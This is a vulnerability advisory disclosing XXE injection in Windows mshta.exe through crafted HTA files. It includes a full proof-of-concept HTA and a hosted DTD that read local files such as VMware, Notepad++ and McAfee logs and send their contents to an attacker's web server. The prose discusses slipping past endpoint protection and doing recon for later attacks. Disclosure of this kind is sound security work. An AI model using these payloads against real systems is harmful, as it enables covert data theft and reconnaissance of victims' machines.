[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-MSHTA-HTA-FILE-XML-EXTERNAL-ENTITY-INJECTION.txt [+] twitter.com/hyp3rlinx [+] ISR: ApparitionSec [Vendor] www.microsoft.com [Product] Windows MSHTA.EXE .HTA File An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages supported by Internet Explorer, such as VBScript or JScript. The HTML is used to generate the user interface, and the scripting language is used for the program logic. An HTA executes without the constraints of the internet browser security model; in fact, it executes as a "fully trusted" application. [Vulnerability Type] XML External Entity Injection [Impact] Information disclosure, Recon [CVE Reference] N/A [Security Issue] Windows mshta.exe allows processing of XML External Entitys, this can result in local data-theft and or program reconnaissance upon opening specially crafted HTA files. From an attacker perspective, since we are not dependent on scripting languages like Javascript, VBScript or WScript.Shell, we may have better chances at subverting endpoint protection systems as we are only using XML markup. HTA exploits found online typically show code execution, with reliance on ActiveX Objects and scripting engines and hence are more easily detected by security products. Many of these exploits also use payload obfuscation techniques for stealth. However, I found nothing publicly documented that leverages XML injection targeting the mshta.exe HTA file-type. Yea I know, no code execution. However, we get stealthy data theft with recon capabilities. Armed with this info, we can more accurately target potential software vulnerabilities at a later date from info gathering a systems program installations. Usually, this type of recon is seen in first-stage malware infections using the Windows CreateToolhelp32Snapshot API. Therefore, since theres no documented HTA exploits using XXE attacks for this file type, I release the advisory. Successfully tested on Windows 10 and Windows Servers 2016, 2019. [Exploit/POC] Multi program recon and check if running in a Virtual Machine all in a single HTA file, change IP accordingly. 1) "Doit.hta" <?xml version="1.0"?> <!-- VMware check --> <xml> <!DOCTYPE xxe4u [ <!ENTITY % file SYSTEM "C:\ProgramData\VMware\VMware Tools\manifest.txt"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd"> %dtd;]> <pwn>&send;</pwn> </xml> <!-- Notepad++ install check --> <xml> <!DOCTYPE xxe4u [ <!ENTITY % file SYSTEM "C:\Program Files (x86)\Notepad++\change.log"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd"> %dtd;]> <pwn>&send;</pwn> </xml> <!-- McAfee AV install check --> <xml> <!DOCTYPE xxe4u [ <!ENTITY % file SYSTEM "C:\ProgramData\McAfee\MCLOGS\VSCoreVersionInfo.txt"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd"> %dtd;]> <pwn>&send;</pwn> </xml> <HTA:APPLICATION WINDOWSTATE="minimize" /> 2) The "datatears.dtd" DTD file hosted on attackers server. <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>"> %all; 3) Local Python v3 web-server listening on port 8000 to receive victims info. python -m http.server [POC Video URL] https://www.youtube.com/watch?v=XaTrBEu4Ghw [Network Access] Remote [Severity] High [Disclosure Timeline] MSHTA .HTA files are classified untrusted, many threats already well known. July 4, 2020 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx